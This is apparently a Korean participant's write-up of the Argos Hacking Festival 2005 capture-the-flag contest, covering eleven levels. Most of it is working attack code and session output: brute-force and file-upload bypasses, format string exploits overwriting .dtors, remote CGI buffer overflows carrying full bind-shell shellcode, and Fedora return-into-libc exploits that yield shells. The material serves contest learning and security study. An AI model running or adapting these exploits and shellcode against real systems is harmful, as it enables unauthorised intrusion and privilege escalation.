================================ / / / Argos Hacking Festival 2005 / / (report) / ================================ [hkpco@ns hkpco]$ whoami id / hkpco(monami) mail&msn / hkpco@korea.com homepage / http://hkpco.kr/ name / Park Chan Am | menu | --------------------------------------------------- 1. level1 - Brute Force | 2. level2 - File Upload | 3. level3 - Debugging | 4. level4 - Windows Crack | 5. level5 - Using a Method | 6. level6 - $-flag Format_String_Bug | 7. level7 - Remote cgi Buffer_Over_Flow | 8. level8 - Remote cgi Format_String_Bug | 9. level9 - Fedora Buffer_Over_Flow | 10. level10 - Fedora Format_String_Bug | 11. level11 - Rule_find(Sense) | 12. PostScript | --------------------------------------------------- !!!!!!!!!!!!!!!!!! 1. level1 - Brute Force !!!!!!!!!!!!!!!!!! /* # LEVEL1 # 원주율 pi는 무한소수로 유명한 수입니다. 원주율 pi의 소수점 아래 10000번째부터 10002번째까지 세 자리의 수를 차례로 입력하세요. */ level1은 간단한 Brute Force 였습니다. 세자리 수가 001,002,003 와같은 형식일 수도 있다는 것을 감안하여 %03d을 이용하였습니다. - bruteforce.c - int main( void ) { int i; char cmd[1024]; for( i=0 ; i<1000 ; i++ ) { sprintf( cmd , "(printf \"GET http://168.188.130.231/level1.php?number=%03d HTTP/1.0\\n\\n\")|nc 168.188.130.231 80" , i ); system( cmd ); } } [hkpco@localhost ahf]$ cat > bruteforce.c int main( void ) { int i; char cmd[1024]; for( i=0 ; i<1000 ; i++ ) { sprintf( cmd , "(printf \"GET http://168.188.130.231/level1.php?number=%03d HTTP/1.0\\n\\n\")|nc 168.188.130.231 80" , i ); system( cmd ); } } [hkpco@localhost ahf]$ gcc -o bruteforce bruteforce.c [hkpco@localhost ahf]$ ./bruteforce > result [hkpco@localhost ahf]$ cat result | grep "pass" 축하합니다.

level1 password is 'pi=3.141592'
인증서버에 인증하세요


# LEVEL1 #
[hkpco@localhost ahf]$ !!!!!!!!!!!!!!!!!! level2 - File Upload !!!!!!!!!!!!!!!!!! /* # LEVEL2 # 파일 올리기 */ level2 는 File Upload 문제입니다. php 확장자는 업로드를 하지 못하게 해놓았습니다. .ph 로 우회하여 업로드 합니다.( *.ph 확장자외에도 phP ,pHp 등으로 우회할 수 있습니다.) - hk.ph - (cmd에 전달할 명령) cat /usr/local/apache/htdocs/board/data/level2_vkdlfdjq/auth_vkdlfdjqfhem.txt 축하합니다. Level2 password is "SoBored!" 인증서버에 인증하세요. !!!!!!!!!!!!!!!!!! level3 - Debugging !!!!!!!!!!!!!!!!!! /* # LEVEL3 # 168.188.130.231에 guest 계정(암호 : AHF2005guest)으로 접속(SSH)하시면, level3 문제가 있습니다^^ 재밌게푸세요~ */ level3은 debugging 문제입니다. 다른 user의 uid인 0x1f9(505) 와 getuid()의 리턴값인 %eax 레지스터를 비교합니다. gdb를 통하여 간단히 인증을 통과하면 됩니다. [guest@localhost guest]$ gdb -q level3 (gdb) disassemble main Dump of assembler code for function main: 0x080483b2 : push %ebp 0x080483b3 : mov %esp,%ebp 0x080483b5 : sub $0x8,%esp 0x080483b8 : and $0xfffffff0,%esp 0x080483bb : mov $0x0,%eax 0x080483c0 : sub %eax,%esp 0x080483c2 : movl $0x0,0xfffffffc(%ebp) 0x080483c9 : movl $0x0,0xfffffffc(%ebp) 0x080483d0 : cmpl $0x63,0xfffffffc(%ebp) 0x080483d4 : jle 0x80483d8 0x080483d6 : jmp 0x80483e9 0x080483d8 : lea 0xfffffffc(%ebp),%eax 0x080483db : incl (%eax) 0x080483dd : lea 0xfffffffc(%ebp),%eax 0x080483e0 : incl (%eax) 0x080483e2 : lea 0xfffffffc(%ebp),%eax 0x080483e5 : incl (%eax) 0x080483e7 : jmp 0x80483d0 0x080483e9 : call 0x804829c ////////// 0x080483ee : cmp $0x1f9,%eax ////////// point! 0x080483f3 : jne 0x804840c 0x080483f5 : sub $0xc,%esp 0x080483f8 : push $0x8048516 0x080483fd : call 0x804828c 0x08048402 : add $0x10,%esp 0x08048405 : call 0x804835c 0x0804840a : jmp 0x804841c 0x0804840c : sub $0xc,%esp 0x0804840f : push $0x8048520 0x08048414 : call 0x804828c 0x08048419 : add $0x10,%esp 0x0804841c : mov $0x0,%eax 0x08048421 : leave 0x08048422 : ret 0x08048423 : nop End of assembler dump. (gdb) b *0x080483e9 Breakpoint 1 at 0x80483e9 (gdb) b *0x080483ee Breakpoint 2 at 0x80483ee (gdb) r Starting program: /home/guest/level3 Breakpoint 1, 0x080483e9 in main () (gdb) info reg eax eax 0xbffffb04 -1073743100 (gdb) c Continuing. Breakpoint 2, 0x080483ee in main () (gdb) info reg eax eax 0x1f6 502 (gdb) set $eax=505 (gdb) info reg eax eax 0x1f9 505 (gdb) c Continuing. Great!! level3 password : 999379 더욱 간단히 푸는 방법은 ptrace를 이용하는 것입니다. indra님의 코드를 수정하였습니다. http://hkpco.joinc.co.kr/ahf/ptrace.c [guest@localhost guest]$ gcc -o ptrace ptrace.c -DAHF [guest@localhost guest]$ ./ptrace UserName: level3 Great!! level3 password : 999379 !!!!!!!!!!!!!!!!!! level4 - Windows Crack !!!!!!!!!!!!!!!!!! /* # LEVEL4 # 다음 프로그램에 있는 시리얼(Serial) 번호를 찾으세요!! ^^ 프로그램 다운받기 : level4.exe */ Crack 문제입니다. ollydbg를 통하여 풀 수 있습니다. 그림으로 나타낼 수 없으니 간단히 순서로 알아보겠습니다. 1. level4.exe Open 2. Search for -> All referenced text strings -> ASCII "Debugger is detected! program terminated!" (double click) 3. 디버깅 하는것을 보호하고 있기 때문에 그부분을 우회하여야 합니다. JE SHORT level4.0040190F 부분을 JMP level4.0040190F 로 바꿔줍니다. 4. Debug -> Run 5. 실행된 프로그램에 임의의 값을 입력한 뒤 확인. 6. 중간 즈음에 다른 창을 보시면 sTACK ss:[0012f748]=0116740E , EAX=아무값 에서 바로 sTACK ss:[0012f748]=0116740E 이 부분에 serial이 들어 있습니다. 0116740E를 십진수로 고친뒤 새 프로그램을 띄운후 입력. 7. 18248718입력 -> Great!! Level 4 password is my password !!!!!!!!!!!!!!!!!! Level5 - Using a Method !!!!!!!!!!!!!!!!!! /* # LEVEL5 # Hint 1 : HTTP Body를 필요로하지 않습니다. Hint 2 : 아래는 현 대회서버의 httpd.conf 입니다. */ 이번 문제는 httpd.conf를 참조하여 쿠키값과 Method를 이용하여 푸는 문제입니다. httpd.conf에서 우리가 필요로 하는 부분을 보겠습니다. ----------------------------------------------------- SetEnvIf Cookies "we are one" AHF2005 Order deny,allow deny from all allow from env=AHF2005 ----------------------------------------------------- Cookies라는 환경변수에 we are one 이라는 변수가 있으면 AHF2005를 활성화 시켜서 인증 할 수 있습니다. 힌트에서 HTTP Body를 필요로 하지 않는다고 한 것에 유의해야 합니다. Body가 아니면 Head일 가능성이 많습니다. 일단 사용 가능한 메소드를 보겠습니다. 예전에 간단히 OPTIONS_method를 요청한 뒤, 결과를 출력하도록 만들어두었던 프로그램을 써 보겠습니다. (http://hkpco.joinc.co.kr/socket/options_method.c) [hkpco@ns socket]$ ./options_method ahf.argos.or.kr ------------------------ | OPTIONS * HTTP/1.0 | ------------------------ request send result : HTTP/1.1 200 OK Date: Fri, 22 Jul 2005 11:35:19 GMT Server: Apache Allow: GET,HEAD,POST,OPTIONS,TRACE Content-Length: 0 Connection: close Content-Type: text/plain 사용 가능한 Method는 Allow: GET,HEAD,POST,OPTIONS,TRACE 입니다. 그중에 HTTP Head를 보는 method인 HEAD로 요청을 해보면 패스워드가 출력됩니다. [hkpco@ns hkpco]$ telnet ahf.argos.or.kr 80 Trying 168.188.130.239... Connected to ahf.argos.or.kr. Escape character is '^]'. HEAD /~level5/secret_5/ HTTP/1.0 Cookies: AHF2005=we are one HTTP/1.1 200 OK Date: Sun, 24 Jul 2005 04:34:11 GMT Server: Apache X-Powered-By: PHP/4.4.0 Password : cool guy passket! Connection: close Content-Type: text/html Connection closed by foreign host. !!!!!!!!!!!!!!!!!! level6 - $-flag Format_String_Bug !!!!!!!!!!!!!!!!!! /* # LEVEL6 # 168.188.130.231에 guest 계정(암호 : AHF2005guest)으로 접속(SSH)하시면 level6 이라는 파일이 있습니다. 잠시 웃으셨나요? 그럼 다시 AHF의 세계로.. */ 이번 문제는 $-flag fsb 입니다. level3문제를 풀려고 접속하였다가 얼떨결에 level3 인줄 알고 level6을 풀고 말았습니다;; 에궁;; level6 파일의 r권한이 없어서 볼 수 없습니다. 하지만 x권한이 주어진 것을 이용하여 파일을 copy한 뒤 내용을 보았습니다. [guest@localhost guest]$ cp level6 a [guest@localhost guest]$ ls a level3 level6 public_html [guest@localhost guest]$ cat a 레벨6 문제를 풀려고 오셨어요? :) 수고스럽겠지만 /home/level6/level6 이곳에 문제가 있습니다. 순간이동 부탁드립니다!! - binish of AHF2005 - [level6@localhost level6]$ ls level6 password 문제를 풀어 보겠습니다. [guest@localhost level6]$ objdump -h level6 | grep ".dtors" 18 .dtors 00000008 080494f4 080494f4 000004f4 2**2 [guest@localhost guest]$ ./egg Using address: 0xbfffdef0 ------------------ egg: 0xbfffdef0 | .dtors: 080494f8 | ------------------ +를 하나씩 증가시키며 padding한 결과 7개째 padding에서 buffer을 출력 할 수 있었습니다. 하지만 실제 공격에선 한번에 성공하지 않을 것입니다. padding문자를 공격이 성공 할 때 까지 감소 혹은, 증가 시키며 시도합니다. [guest@localhost guest]$ /home/level6/level6 AAAA+++++++%96\$8x AAAA+++++++41414141 * padding문자를 하나 감소할땐 뒤에 계산한 %96\$57049c 부분을 1씩 증가시켜 줘야 합니다. /home/level6/level6 `perl -e 'print "\x41\x41\x41\x41\xf8\x94\x04\x08\x41\x41\x41\x41\xfa\x94\x04\x08"'`+++++++%96\$57049c%97\$n%98\$57615c%99\$n 실패 /home/level6/level6 `perl -e 'print "\x41\x41\x41\x41\xf8\x94\x04\x08\x41\x41\x41\x41\xfa\x94\x04\x08"'`++++++%96\$57050c%97\$n%98\$57615c%99\$n 실패 /home/level6/level6 `perl -e 'print "\x41\x41\x41\x41\xf8\x94\x04\x08\x41\x41\x41\x41\xfa\x94\x04\x08"'`+++++%96\$57051c%97\$n%98\$57615c%99\$n 성공 sh-2.05b$ /bin/bash No value for $TERM and no -T specified No value for $TERM and no -T specified [level6@localhost guest]$ id uid=504(level6) gid=504(guest) groups=502(guest) [level6@localhost guest]$ cat password cat: password: 허가 거부됨 현재 상태에선 password파일이 보여지지 않습니다. newgrp 명령어를 통해 간단히 level6의 gid를 얻었습니다. [level6@localhost level6]$ newgrp No value for $TERM and no -T specified No value for $TERM and no -T specified [level6@localhost level6]$ id uid=504(level6) gid=504(level6) groups=502(guest) [level6@localhost level6]$ cat password 축하합니다. level6 password is "MayTheForceBeWithYou!!" 인증서버에 인증하세요 !!!!!!!!!!!!!!!!!! level7 - Remote cgi Buffer_Over_Flow !!!!!!!!!!!!!!!!!! /* # LEVEL7 # LOGIN :: ID PASS */ 이번 문제는 remote cgi bof입니다. id와 pass를 입력하면 로그인에 실패하였다는 문구와 함께 dump결과를 출력해 줍니다. 공격 코드는 [NOP] [bindshell] [bindshell_addr] 이렇게 구성되어져 있습니다. bindshell은 30464port를 열어줍니다. 공격해 보겠습니다. (terminal1) [hkpco@localhost bof]$ (perl -e 'print "POST /cgi-bin/level7.cgi HTTP/1.0\nHost: 168.188.130.231\nUser-Agent: HTTPTool/1.0\nContent-Length: 500\n\n","\x90"x16,"\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0\x31\xdb\x89\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06\x89\x46\x08\xb0\x66\xb3\x01\xcd\x80\x89\x06\xb0\x02\x66\x89\x46\x0c\xb0\x77\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff","\x90"x3,"\xd1\xfa\xff\xbf"x100';cat)|nc 168.188.130.231 80 (terminal2) [hkpco@ns hkpco]$ telnet 168.188.130.231 30464 Trying 168.188.130.231... Connected to 168.188.130.231. Escape character is '^]'. ls; dumpcode.h level7.cgi level7_qjvjdhqjvmffh : command not found cd level7_qjvjdhqjvmffh; : command not found ls; auth_dhqjvmffh.txt : command not found cat auth_dhqjvmffh.txt; 축하합니다. level 7 passwd is "ThereIsNoFork!"; 인증서버에서 인증하세요 : command not found !!!!!!!!!!!!!!!!!! level8 - Remote cgi Format_String_Bug !!!!!!!!!!!!!!!!!! /* LOGIN ID PASS */ 이것 역시나 remote_attack 입니다. Remote cgi Format_String_Bug in Heap Memory 라고 해도 괜찮겠군요~ passket님의 `FSB in Heap Memory`를 읽어보신 분이라면 무난히 풀 수 있겠습니다. 반년전쯤에 읽었던 passket님의 문서가 도움이 많이 되었던것 같습니다. (전 읽어도 헤메는;;) passket님의 문서에서도 언급되었지만, printf의 스택포인터는 0xbf++++++ -> 0xc0++++++ 으로 가므로 Heap영역에서 FSB가 발생하면 무용지물입니다. 하지만, 프로그램 내에 stack을 사용할 수 있다면 이야기는 달라집니다. 공격코드의 구조를 보겠습니다. (i와j는 brute_force하는 값) AAAA[brute1][\x04\x08]CCCC[brute2][\x04\x08] <- j+2 , i //16byte [dummy] //240byte ----------↑buf1 , ↓buf2---------- [%08x]x7 //56byte [%1996c%hn%39068c%hn] <- j , i //2byte [NOP]x100 //100byte [bind_code] //177byte .dtors영역을 brute_force 하여 덮어쓰도록 코딩하였습니다. 프로그램을 띄운뒤 잠시 후 bindshell이 띄워준 port(30464)로 접속하면 됩니다. - remote_attack.c - #include int main( void ) { int i, j; char cmd[2048]; for(i=0x99;i<0xa0;i++) for(j=0x01;j<0xff;j++) { sprintf( cmd , "printf \"\\n\"|(perl -e 'print \"POST /cgi-bin/level8.cgi HTTP/1.0\\n\",\"Host: 168.188.130.232\\n\",\"Content-Length: 613\\n\\n\",\"AAAA\\x%02x\\x%02x\\x04\\x08CCCC\\x%02x\\x%02x\\x04\\x08\", \"A\"x240,\"%%08x\"x7, \"%%1996c%%hn%%39068c%%hn\" , \"\\x90\"x100,\"\\x31\\xc0\\xb0\\x02\\xcd\\x80\\x85\\xc0\\x75\\x43\\xeb\\x43\\x5e\\x31\\xc0\\x31\\xdb\\x89\\xf1\\xb0\\x02\\x89\\x06\\xb0\\x01\\x89\\x46\\x04\\xb0\\x06\\x89\\x46\\x08\\xb0\\x66\\xb3\\x01\\xcd\\x80\\x89\\x06\\xb0\\x02\\x66\\x89\\x46\\x0c\\xb0\\x77\\x66\\x89\\x46\\x0e\\x8d\\x46\\x0c\\x89\\x46\\x04\\x31\\xc0\\x89\\x46\\x10\\xb0\\x10\\x89\\x46\\x08\\xb0\\x66\\xb3\\x02\\xcd\\x80\\xeb\\x04\\xeb\\x55\\xeb\\x5b\\xb0\\x01\\x89\\x46\\x04\\xb0\\x66\\xb3\\x04\\xcd\\x80\\x31\\xc0\\x89\\x46\\x04\\x89\\x46\\x08\\xb0\\x66\\xb3\\x05\\xcd\\x80\\x88\\xc3\\xb0\\x3f\\x31\\xc9\\xcd\\x80\\xb0\\x3f\\xb1\\x01\\xcd\\x80\\xb0\\x3f\\xb1\\x02\\xcd\\x80\\xb8\\x2f\\x62\\x69\\x6e\\x89\\x06\\xb8\\x2f\\x73\\x68\\x2f\\x89\\x46\\x04\\x31\\xc0\\x88\\x46\\x07\\x89\\x76\\x08\\x89\\x46\\x0c\\xb0\\x0b\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xc0\\xb0\\x01\\x31\\xdb\\xcd\\x80\\xe8\\x5b\\xff\\xff\\xff\"';cat) | nc 168.188.130.232 80" , j+2 , i , j , i ); system( cmd ); } return 0; } (terminal1) [hkpco@localhost fsb]$ gcc -o remote_attack remote_attack.c [hkpco@localhost fsb]$ ./remote_attack >/dev/null (terminal2) [hkpco@ns hkpco]$ telnet 168.188.130.232 30464 Trying 168.188.130.232... Connected to 168.188.130.232. Escape character is '^]'. ls; dumpcode.h level8.cgi level8_glqdudduvhapt : command not found cd level8_glqdudduvhapt; : command not found ls; auth_eggmelong.txt : command not found cat auth_eggmelong.txt; 축하합니다. level8 password is "AnotherWayToMyWay~" 인증서버에서 인증하세요 !!!!!!!!!!!!!!!!!! level9 - Fedora Buffer_Over_Flow !!!!!!!!!!!!!!!!!! /* # LEVEL9 # 168.188.130.233에 guest 계정(암호 : guest_ahf2005)으로 로그인(SSH)하시면, level9 문제파일이 있습니다.건투를 빕니다! */ level9문제는 기본적인 Fedora BOF 문제입니다. Fedora BOF에 대한 자세한 설명은 하지 않겠습니다. 그럼 문제를 공략 해 보겠습니다. [guest@localhost guest]$ cat /etc/*release Fedora Core release 2 (Tettnang) Fedora Core release 2 (Tettnang) // Fedora 확인 [guest@localhost .hk]$ gdb -q /home/guest/level9 (no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) b main Breakpoint 1 at 0x80485e0 (gdb) r Starting program: /home/guest/level9 Error while mapping shared library sections: : Success. Error while reading shared library symbols: : No such file or directory. (no debugging symbols found)...(no debugging symbols found)...Error while reading shared library symbols: : No such file or directory. Error while reading shared library symbols: : No such file or directory. Breakpoint 1, 0x080485e0 in main () (gdb) disassemble execl Dump of assembler code for function execl: 0x00197a00 : push %ebp 0x00197a01 : mov %esp,%ebp [ 0x00197a03 : lea 0x10(%ebp),%eax ] // the point! . . . ---Type to continue, or q to quit---q Quit [guest@localhost .hk]$ gdb -q /home/guest/level9 (no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) b main Breakpoint 1 at 0x80485e0 (gdb) r Starting program: /home/guest/level9 Error while mapping shared library sections: : Success. Error while reading shared library symbols: : No such file or directory. (no debugging symbols found)...(no debugging symbols found)...Error while reading shared library symbols: : No such file or directory. Error while reading shared library symbols: : No such file or directory. Breakpoint 1, 0x080485e0 in main () (gdb) x/50x 0x8049000 0x8049000: 0x464c457f 0x00010101 0x00000000 0x00000000 0x8049010: 0x00030002 0x00000001 0x080482c0 0x00000034 0x8049020: 0x00000788 0x00000000 0x00200034 0x00280007 0x8049030: 0x0019001c 0x00000006 0x00000034 0x08048034 0x8049040: 0x08048034 0x000000e0 0x000000e0 0x00000005 0x8049050: 0x00000004 0x00000003 0x00000114 0x08048114 0x8049060: 0x08048114 0x00000013 0x00000013 0x00000004 0x8049070: 0x00000001 0x00000001 0x00000000 0x08048000 0x8049080: 0x08048000 0x0000047c 0x0000047c 0x00000005 0x8049090: 0x00001000 0x00000001 0x0000047c 0x0804947c 0x80490a0: 0x0804947c 0x00000100 0x00000104 0x00000006 0x80490b0: 0x00001000 0x00000002 0x00000490 0x08049490 0x80490c0: 0x08049490 0x000000c8 (gdb) . . . 0x8049560 <_GLOBAL_OFFSET_TABLE_+4>: 0x0095f4d0 0x00954830 0x009769f0 0x080482b6 (gdb) x/8x 0x8049564 0x8049564 <_GLOBAL_OFFSET_TABLE_+8>: 0x00954830 [ 0x009769f0 0x080482b6 0x00000000 ] // the point! 0x8049574 <__dso_handle>: 0x00000000 0x08049488 0x00000000 0x00000000 (gdb) x/8x 0x009769f0 0x9769f0 <__libc_start_main>: [0x57e58955 0xec835356 0x0c458b4c 0xe810558b] // the point! 0x976a00 <__libc_start_main+16>: [0xffffff09 0x25f8c381] 0x7d8b00[10] 0x1c758b18 // the point! [guest@localhost .hk]$ cat > sh.c int main( void ) { setreuid(geteuid(),geteuid()); setregid(getegid(),getegid()); execl("/bin/sh", "sh", 0); } [guest@localhost .hk]$ gcc -o sh sh.c [guest@localhost .hk]$ ln -s ./sh "`perl -e 'print "\x55\x89\xe5\x57\x56\x53\x83\xec\x4c\x8b\x45\x0c\x8b\x55\x10\xe8\x09\xff\xff\xff\x81\xc3\xf8\x25\x10"'`" perl: warning: Setting locale failed. perl: warning: Please check that your locale settings: LANGUAGE = (unset), LC_ALL = (unset), LANG = "euc_KR" are supported and installed on your system. perl: warning: Falling back to the standard locale ("C"). [guest@localhost .hk]$ ls U??WVS??L?E??U?????????%? sh sh.c [guest@localhost .hk]$ gdb -q /home/guest/level9_vul (no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) disassemble main Dump of assembler code for function main: 0x08048370 : push %ebp 0x08048371 : mov %esp,%ebp 0x08048373 : sub $0x108,%esp <- 0x108==264 . . . (gdb) quit 마지막으로 공격할 탄두는 아래와 같습니다. | dummy(264byte) | execl 첫 argument -8 | (execl+3)_addr | 자, 이제 최종적으로 공격 해 보겠습니다. [guest@localhost .hk]$ /home/guest/level9_vul "`perl -e 'print "A"x264,"\x60\x95\x04\x08","\x03\x7a\x19"'`" perl: warning: Setting locale failed. perl: warning: Please check that your locale settings: LANGUAGE = (unset), LC_ALL = (unset), LANG = "euc_KR" are supported and installed on your system. perl: warning: Falling back to the standard locale ("C"). sh-2.05b$ id uid=504(guest) gid=501(level9) groups=504(guest) sh-2.05b$ cat /home/guest/level9_password 축하합니다. Level9 password id "FeDoRaCoRe2 was broken!" 인증서버에 인증하세요 !!!!!!!!!!!!!!!!!! level10 - Fedora Format_String_Bug !!!!!!!!!!!!!!!!!! /* # LEVEL10 # 168.188.130.233에 guest2 계정(암호 : guest2_ahf2005)으로 로그인(SSH)하시면, level10 문제파일이 있습니다. 진심으로 건투를 빕니다!! */ level10... 참여하신 모든 분들이 제일 고전하신 문제인것 같습니다. 아직 Fedora FSB에 대해선 공개된 문서가 없는걸로 알고 있습니다. 공격에 대한 시놉시스를 간단히 알아보겠습니다. 1/ .dtors 공략 2/ exec*함수군 library로 .dtors를 덮어쓰기 3/ 주소에 루프를 돌며 1씩 증가하도록 코딩 그럼 간략한 exploit을 보겠습니다. - brute_ffsb.c - #include #include int main( void ) { int i=34562; char cmd[1024]; while(1) { sprintf(cmd,"strace /home/guest2/level10_vul `perl -e 'print \"AAAA\\xa6\\x94\\x04\\x08CCCC\\xa4\\x94\\x04\\x08\",\"%%08x\"x7,\"%%86c%%hn%%%dc%%hn\",\"BB\"'`",i); system( cmd ); printf ("%s",cmd); i++; getchar(); } } execve system_call확인을 위하여 strace를 사용하였습니다. brute_ffsb를 사용하여 execve가 실행하는 파일 경로가 존재하고, -1을 리턴(해당경로에 파일이 없음)하는것을 이용하여 쉘을 얻을 수 있습니다. 경로를 링크 시키기 위해 간단한 프로그램을 이용하겠습니다. - link.c - int main( void ) { symlink( "./shell" , "\xA1\x64\x96\x04\x08\x8B\x10\x85\xD2\x75\xEB\xC6\x05\x68\x96\x04\x08\x01\xC9\xC3\x89\xF6\x55\x89\xE5\x83\xEC\x08\xA1\x70\x95\x04\x08\x85\xC0\x74\x19\xB8" ); } [guest2@localhost .test]$ ../level10_vul `perl -e 'print "AAAA\x6e\x95\x04\x08CCCC\x6c\x95\x04\x08","%08x"x7,"%86c%hn%34794c%hn"'` . . . $ id uid=505(guest2) gid=505(guest2) egid=502(level10) groups=505(guest2) $ cat /home/guest2/level10_password Wow.. level10 password is "is It possible st1ll?" !!!!!!!!!!!!!!!!!! level11 - Rule_find(Sense) !!!!!!!!!!!!!!!!!! /* # LEVEL11 # HINT : 168.188.130.232에는 7979 포트가 열려있습니다. 문제푸는데 문제점은 없지만 간혹 첫 실행(?)에 쓰레기값이 붙습니다. 무시하셔도 됩니다^^; 죄송요~ ㅠㅠ 그럼.. 여러분의 센스를 기대합니다! */ 이번 문제는 문자/문자열을 입력하면 특정한 규칙으로 문자/문자열이 변환되어서 출력됩니다. 그 규칙을 찾아서 AHF2005를 문제 서버에서 출력 해 주도록 하면 공격 성공입니다. 이 리모트 프로그램은 입력된 문자의 ASCII_number-7을 하여 출력 해 줍니다. 이는 간단한 코딩으로 AHF2005를 출력해주는 문자열을 찾을 수 있습니다. - rule.c - int main( void ) { printf( "%c%c%c%c%c%c%c\n" ,'A'+7,'H'+7,'F'+7,'2'+7,'0'+7,'0'+7,'5'+7 ); } [hkpco@ns ahf]$ gcc -o rule rule.c [hkpco@ns ahf]$ ./rule HOM977< 그럼 이제 HOM977< 을 입력해 보도록 하겠습니다. [hkpco@ns ahf]$ telnet 168.188.130.232 7979 Trying 168.188.130.232... Connected to 168.188.130.232. Escape character is '^]'. HOM977< # Password was sent to you! :-) Connection closed by foreign host. 패스워드를 보내 주었다고 합니다. 특정 포트로 보내 준다는 것을 추측 할 수 있습니다. 어느 포트로 보내주는지는 복잡한 방법이 아닌, 문제에서 말한대로 Sense로 풀어 보겠습니다. AHF2005를 보아서 포트는 2005라는 것을 추측 할 수 있습니다. 그럼 이제 nc로 2005port를 대기 시켜놓고 문제 서버가 보내주는 패스워드를 받으면 됩니다. * sense가 없으신 분들은 sniffer등을 이용하면 됩니다. (terminal1) [hkpco@localhost ~]$ telnet 168.188.130.232 7979 Trying 168.188.130.232... Connected to 168.188.130.232 (168.188.130.232). Escape character is '^]'. HOM977< # Password was sent to you! :-) Connection closed by foreign host. (terminal2) [hkpco@localhost ~]$ nc -l -v -p 2005 listening on [any] 2005 ... 168.188.130.232: inverse host lookup failed: Unknown host connect to [222.122.45.36] from (UNKNOWN) [168.188.130.232] 39052 # Level11 Password is 'DoYouHaveAGirlFriend?' -+-+-+-+-+-+-+-+-+-+ PostScript(후기) -+-+-+-+-+-+-+-+-+-+ 48시간의 길다면 긴, 짧다면 짧은 대회동안 정말 많은것을 배우고 익혔습니다. 특히 Argos 대회에서는 다른 대회들처럼 계단식 문제풀이가 아니라는 것이 좋았습니다. 분명히 예전에 다 알았던것인데 막상 풀려고 하니 잘 되지 않았고, 그래서 제 기억을 회상할 수 있는 좋은 기회가 되었습니다. 문제를 풀면서 엎치락 뒤치락하는 순위에 스릴있는 대회였습니다. 그리고 문제를 내시고 밤새워 모니터링 하시던 운영진분들 정말 수고하셨습니다. 다양한 종류의 재미있는 문제들이 제머리속을 스쳐갑니다. 미약한 보고서 끝까지 읽어주셔서 감사드리며, 후기를 끝으로 문서를 마칩니다. 정말 좋은 문제들 정말 감사합니다! Argos 파이팅!!